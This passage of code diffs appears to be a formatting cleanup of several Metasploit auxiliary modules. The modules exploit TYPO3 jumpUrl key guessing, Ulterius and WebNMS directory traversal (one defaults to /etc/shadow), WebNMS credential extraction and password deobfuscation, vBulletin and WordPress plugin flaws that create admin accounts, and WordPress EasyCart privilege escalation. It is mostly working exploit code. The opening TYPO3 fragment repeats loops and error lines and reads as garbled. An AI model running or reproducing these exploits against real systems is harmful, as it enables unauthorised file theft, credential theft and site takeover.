]
end
counter = 0
encryption_keys.each do |enc_key|
counter = counter +1
locationData = Rex::Text::rand_text_numeric(1) +'::'+ Rex::Text::rand_text_numeric(2)
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when %r{^\.\.(/|\\)}i
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
else
jumpurl_len = datastore['RFILE'].length
jumpurl = datastore['RFILE'].to_s
jumpurl_enc = datastore['RFILE'].to_s
end
case action.name
when 'Short_MD5'
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
print_status('Performing downloading using Short_MD5 style juHash creation - see show actions for more details')
when 'MIME'
juarray = "a:4:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
print_status('Performing downloading using MIME style juHash creation - see show actions for more details')
when 'HMAC_SHA1'
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
juarray << "s:0:\"\";}"
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
print_status('Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details')
end
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
file_uri = file_uri.sub("//", "/") # Prevent double // from appearing in uri
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
},25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{enc_key}")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{enc_key}")
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_winstaller")
return
if datastore['ENC_KEY'] != ''
encryption_keys = [datastore['ENC_KEY']]
print_status('Using provided Encryption Key')
else
if datastore['ENC_KEY'] != ""
print_error("Encryption Key specified is not correct")
print_status('Rotating through known encryption keys')
encryption_keys = [
# TYPO3 4.3.x - 4.4.x
'd696ab49a803d7816021cb1768a6917d',
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
# TYPO3 4.4.7+
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
# TYPO3 4.5.0
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
# TYPO3 4.5.2
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
# TYPO3 4.5.3
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
# TYPO3 4.5.4 - 4.5.7
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
]
end
counter = 0
encryption_keys.each do |enc_key|
counter += 1
locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)
case action.name
when 'Short_MD5'
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'MIME'
juarray = "a:4:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'HMAC_SHA1'
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
juarray << 's:0:"";}'
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
end
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
file_uri = file_uri.sub('//', '/') # Prevent double // from appearing in uri
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close'
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{enc_key}")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{enc_key}")
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_winstaller')
return
else
if datastore['ENC_KEY'] != ''
print_error('Encryption Key specified is not correct')
return
end
end
end
end
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
end
end

View File

@ -7,46 +7,49 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ulterius Server File Download Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
to download files from the affected host. A valid file path is needed to download a file.
Fortunately, Ulterius indexes every file on the system, which can be stored in the
following location:
super(
update_info(
info,
'Name' => 'Ulterius Server File Download Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
to download files from the affected host. A valid file path is needed to download a file.
Fortunately, Ulterius indexes every file on the system, which can be stored in the
following location:
http://ulteriusURL:port/.../fileIndex.db.
This module can download and parse the fileIndex.db file. There is also an option to
download a file using a provided path.
},
'Author' =>
[
'Rick Osgood', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
This module can download and parse the fileIndex.db file. There is also an option to
download a file using a provided path.
},
'Author' => [
'Rick Osgood', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'EDB', '43141' ],
[ 'CVE', '2017-16806' ]
]))
]
)
)
register_options(
[
Opt::RPORT(22006),
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
])
register_options(
[
Opt::RPORT(22006),
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
]
)
end
def process_data(index, parse_data)
length = parse_data[index].unpack('C')[0]
length += parse_data[index+1].unpack('C')[0]
length += parse_data[index+2].unpack('C')[0]
length += parse_data[index+3].unpack('C')[0]
length += parse_data[index + 1].unpack('C')[0]
length += parse_data[index + 2].unpack('C')[0]
length += parse_data[index + 3].unpack('C')[0]
index += 4
filename = parse_data[index...index+length]
filename = parse_data[index...index + length]
index += length
return index, filename
end
@ -56,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary
data_inflated = zi.inflate(data)
parse_data = data_inflated[8...-1]
remote_files = ""
remote_files = ''
index = 0
print_status('Starting to parse fileIndex.db...')
@ -65,11 +68,11 @@ class MetasploitModule < Msf::Auxiliary
index, directory = process_data(index, parse_data)
remote_files << directory + '\\' + filename + "\n"
#skip FFFFFFFFFFFFFFFF
# skip FFFFFFFFFFFFFFFF
index += 8
end
myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')
print_status("Remote file paths saved in: #{myloot.to_s}")
print_status("Remote file paths saved in: #{myloot}")
end
def run
@ -96,7 +99,7 @@ class MetasploitModule < Msf::Auxiliary
inflate_parse(res.body)
else
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')
print_status("File contents saved: #{myloot.to_s}")
print_status("File contents saved: #{myloot}")
end
end
end

View File

@ -8,91 +8,93 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin Administrator Account Creation',
'Description' => %q{
super(
update_info(
info,
'Name' => 'vBulletin Administrator Account Creation',
'Description' => %q{
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
create a new administrator account, as exploited in the wild on October 2013. This module
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
},
'Author' =>
[
'Author' => [
'Unknown', # Vulnerability discoverer? found in the wild
'juan vazquez' #metasploit module
'juan vazquez' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-6129' ],
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
[ 'OSVDB', '98370' ],
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
],
'DisclosureDate' => '2013-10-09'))
'DisclosureDate' => '2013-10-09'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
])
]
)
end
def user
datastore["USERNAME"]
datastore['USERNAME']
end
def pass
datastore["PASSWORD"]
datastore['PASSWORD']
end
def run
if user == pass
print_error("Please select a password different than the username")
print_error('Please select a password different than the username')
return
end
print_status("Trying a new admin vBulletin account...")
print_status('Trying a new admin vBulletin account...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
'method' =>'POST',
'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),
'method' => 'POST',
'vars_post' => {
"version" => "install",
"response" => "true",
"checktable" => "false",
"firstrun" => "false",
"step" => "7",
"startat" => "0",
"only" => "false",
"options[skiptemplatemerge]" => "0",
"reponse" => "yes",
"htmlsubmit" => "1",
"htmldata[username]" => user,
"htmldata[password]" => pass,
"htmldata[confirmpassword]" => pass,
"htmldata[email]" => datastore["EMAIL"]
'version' => 'install',
'response' => 'true',
'checktable' => 'false',
'firstrun' => 'false',
'step' => '7',
'startat' => '0',
'only' => 'false',
'options[skiptemplatemerge]' => '0',
'reponse' => 'yes',
'htmlsubmit' => '1',
'htmldata[username]' => user,
'htmldata[password]' => pass,
'htmldata[confirmpassword]' => pass,
'htmldata[email]' => datastore['EMAIL']
},
'headers' => {
"X-Requested-With" => "XMLHttpRequest"
'X-Requested-With' => 'XMLHttpRequest'
}
})
if res and res.code == 200 and res.body =~ /Administrator account created/
if res && (res.code == 200) && res.body =~ (/Administrator account created/)
print_good("Admin account with credentials #{user}:#{pass} successfully created")
connection_details = {
module_fullname: self.fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
}.merge(service_details)
create_credential_and_login(connection_details)
else
print_error("Admin account creation failed")
print_error('Admin account creation failed')
end
end
end

View File

@ -12,27 +12,25 @@ class MetasploitModule < Msf::Auxiliary
update_info(
info,
'Name' => 'WebNMS Framework Server Credential Disclosure',
'Description' => %q(
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
all user credentials. The first vulnerability is an unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
),
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'Description' => %q{
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
all user credentials. The first vulnerability is an unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-6601'],
[ 'CVE', '2016-6602'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'References' => [
[ 'CVE', '2016-6601'],
[ 'CVE', '2016-6602'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'DisclosureDate' => '2016-07-04'
)
)
@ -40,7 +38,7 @@ Windows and Linux.
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 9090]),
OptString.new('TARGETURI', [true, "WebNMS path", '/'])
OptString.new('TARGETURI', [true, 'WebNMS path', '/'])
],
self.class
)
@ -49,8 +47,8 @@ Windows and Linux.
def version_check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'vars_get' => { 'fileName' => 'help/index.html' }
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
@ -71,8 +69,8 @@ Windows and Linux.
version_check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
@ -82,8 +80,8 @@ Windows and Linux.
if res && res.code == 200 && !res.body.empty?
cred_table = Rex::Text::Table.new(
'Header' => 'WebNMS Login Credentials',
'Indent' => 1,
'Header' => 'WebNMS Login Credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
@ -91,34 +89,34 @@ Windows and Linux.
]
)
print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
res.body.to_s.each_line { |line|
res.body.to_s.each_line do |line|
# we need these checks because username and password might appear in any random position in the line
if line.include? "username="
username = line.match(/username="([\w]*)"/)[1]
if line.include? 'username='
username = line.match(/username="(\w*)"/)[1]
end
if line.include? "password="
password = line.match(/password="([\w]*)"/)[1]
if line.include? 'password='
password = line.match(/password="(\w*)"/)[1]
end
if password && username
plaintext_password = super_redacted_deobfuscation(password)
cred_table << [ username, plaintext_password ]
connection_details = {
module_fullname: self.fullname,
username: username,
private_data: plaintext_password,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
}
next unless password && username
plaintext_password = super_redacted_deobfuscation(password)
cred_table << [ username, plaintext_password ]
connection_details = {
module_fullname: fullname,
username: username,
private_data: plaintext_password,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
print_line
print_line(cred_table.to_s)
loot_name = 'webnms.creds'
loot_type = 'text/csv'
loot_name = 'webnms.creds'
loot_type = 'text/csv'
loot_filename = 'webnms_login_credentials.csv'
loot_desc = 'WebNMS Login Credentials'
loot_desc = 'WebNMS Login Credentials'
p = store_loot(
loot_name,
loot_type,
@ -136,7 +134,7 @@ Windows and Linux.
# I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
def super_redacted_deobfuscation(ciphertext)
input = ciphertext
input = input.gsub("Z", "000")
input = input.gsub('Z', '000')
base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
base.push 'I'
@ -161,7 +159,7 @@ Windows and Linux.
partnum += pos.to_s
if pos == 0
if !startnum
answer += "0"
answer += '0'
end
else
startnum = true
@ -181,7 +179,7 @@ Windows and Linux.
pos += 1
end
if partnum.to_s == "00000"
if partnum.to_s == '00000'
if remainder != 0
tempo = remainder.to_s
temp1 = answer[0..(tempo.length)]
@ -208,7 +206,7 @@ Windows and Linux.
partnum += pos.to_s
if pos == 0
if !startnum
answer += "0"
answer += '0'
end
else
startnum = true
@ -250,6 +248,6 @@ Windows and Linux.
end
def service_details
super.merge({service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP')}) # this should possibly be removed
super.merge({ service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP') }) # this should possibly be removed
end
end

View File

@ -12,36 +12,34 @@ class MetasploitModule < Msf::Auxiliary
update_info(
info,
'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
'Description' => %q(
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to download files off the file system by using a directory
traversal attack on the FetchFile servlet.
Note that only text files can be downloaded properly, as any binary file will get
mangled by the servlet. Also note that for Windows targets you can only download
files that are in the same drive as the WebNMS installation.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
),
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'Description' => %q{
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to download files off the file system by using a directory
traversal attack on the FetchFile servlet.
Note that only text files can be downloaded properly, as any binary file will get
mangled by the servlet. Also note that for Windows targets you can only download
files that are in the same drive as the WebNMS installation.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-6601'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'References' => [
[ 'CVE', '2016-6601'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'DisclosureDate' => '2016-07-04'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 9090]),
OptString.new('TARGETURI', [ true, "WebNMS path", '/']),
OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']),
OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]),
OptString.new('TARGETURI', [ true, 'WebNMS path', '/']),
OptString.new('FILEPATH', [ false, 'The filepath of the file you want to download', '/etc/shadow']),
OptString.new('TRAVERSAL_PATH', [ false, 'The traversal path to the target file (if you know it)']),
OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10])
],
self.class
@ -85,19 +83,19 @@ Windows and Linux.
print_good("File download successful, file saved in #{path}")
end
else
print_error("Module Failed: Invalid Filename")
print_error('Module Failed: Invalid Filename')
end
end
def get_file(path, depth)
while depth > 0
file_name = "../" * depth + path
file_name = '../' * depth + path
vprint_status("Attempting to get file: #{file_name}")
begin
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
'method' => 'GET',
'vars_get' => { 'fileName' => file_name }
}
)
@ -109,9 +107,10 @@ Windows and Linux.
if res &&
res.code == 200 &&
!res.body.to_s.empty? &&
(res.body.to_s.include? "File Found")
(res.body.to_s.include? 'File Found')
return res.body.to_s
end
depth -= 1
end
end

View File

@ -8,28 +8,29 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
'Description' => %q{
super(
update_info(
info,
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
'Description' => %q{
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
a SQL dump of the plugins database tables. It's also possible to upload files containing
SQL statements which will be executed. The module first tries to extract the WordPress
table prefix from the dump and then attempts to create a new admin user.
},
'Author' =>
[
},
'Author' => [
'Marc-Alexandre Montpas', # Vulnerability discovery
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ],
[ 'WPVDB', '7542' ]
],
'DisclosureDate' => '2014-08-07'
))
'DisclosureDate' => '2014-08-07'
)
)
end
def get_sql(table_prefix, username, password)
@ -43,10 +44,10 @@ class MetasploitModule < Msf::Auxiliary
def get_table_prefix
res = send_request_cgi({
'uri' => wordpress_url_admin_post,
'method' => 'POST',
'uri' => wordpress_url_admin_post,
'method' => 'POST',
'vars_post' => {
'ccf_export' => "1"
'ccf_export' => '1'
}
})
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
@ -66,10 +67,10 @@ class MetasploitModule < Msf::Auxiliary
username = Rex::Text.rand_text_alpha(10)
password = Rex::Text.rand_text_alpha(20)
print_status("Trying to get table_prefix")
print_status('Trying to get table_prefix')
table_prefix = get_table_prefix
if table_prefix.nil?
print_error("Unable to get table_prefix")
print_error('Unable to get table_prefix')
return
else
print_status("got table_prefix '#{table_prefix}'")
@ -82,10 +83,10 @@ class MetasploitModule < Msf::Auxiliary
print_status("Inserting user #{username} with password #{password}")
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_post,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
'method' => 'POST',
'uri' => wordpress_url_admin_post,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
@ -100,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
print_good("User #{username} with password #{password} successfully created")
store_valid_credential(user: username, private: password, proof: cookie)
else
print_error("User creation failed")
print_error('User creation failed')
return
end
end

View File

@ -7,38 +7,39 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
'Description' => %q{
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
users of any user level to set any system option via a lack of validation in the
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
to prevent any notifications being sent to the actual administrator during the attack,
re-enables user registration in case it has been disabled and sets the default role to
be administrator. This will allow for the user to create a new account with admin
privileges via the default registration page found at /wp-login.php?action=register.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',
'Description' => %q{
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated
users of any user level to set any system option via a lack of validation in the
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address
to prevent any notifications being sent to the actual administrator during the attack,
re-enables user registration in case it has been disabled and sets the default role to
be administrator. This will allow for the user to create a new account with admin
privileges via the default registration page found at /wp-login.php?action=register.
},
'Author' => [
'rastating' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-2673'],
['WPVDB', '7808'],
['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']
],
'DisclosureDate' => '2015-02-25'
))
'DisclosureDate' => '2015-02-25'
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
]
)
end
def check
@ -55,15 +56,15 @@ class MetasploitModule < Msf::Auxiliary
def set_wp_option(name, value, cookie)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'ec_ajax_update_option' },
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'ec_ajax_update_option' },
'vars_post' => { 'option_name' => name, 'option_value' => value },
'cookie' => cookie
'cookie' => cookie
)
if res.nil?
vprint_error("No response from the target.")
vprint_error('No response from the target.')
elsif res.code != 200
vprint_warning("Server responded with status code #{res.code}")
end
@ -75,33 +76,33 @@ class MetasploitModule < Msf::Auxiliary
print_status("Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
if cookie.nil?
print_error("Failed to authenticate with WordPress")
print_error('Failed to authenticate with WordPress')
return
end
store_valid_credential(user: username, private: password, proof: cookie)
print_good("Authenticated with WordPress")
print_good('Authenticated with WordPress')
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
print_error("Failed to change the admin e-mail address")
print_error('Failed to change the admin e-mail address')
return
end
print_status("Enabling user registrations...")
print_status('Enabling user registrations...')
if set_wp_option('users_can_register', 1, cookie).nil?
print_error("Failed to enable user registrations")
print_error('Failed to enable user registrations')
return
end
print_status("Setting the default user role...")
print_status('Setting the default user role...')
if set_wp_option('default_role', 'administrator', cookie).nil?
print_error("Failed to set the default user role")
print_error('Failed to set the default user role')
return
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("Privilege escalation complete")
print_good('Privilege escalation complete')
print_good("Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -7,40 +7,39 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
'Description' => %q{
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
wordpress administration options by overwriting values within the database.
super(
update_info(
info,
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
'Description' => %q{
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
wordpress administration options by overwriting values within the database.
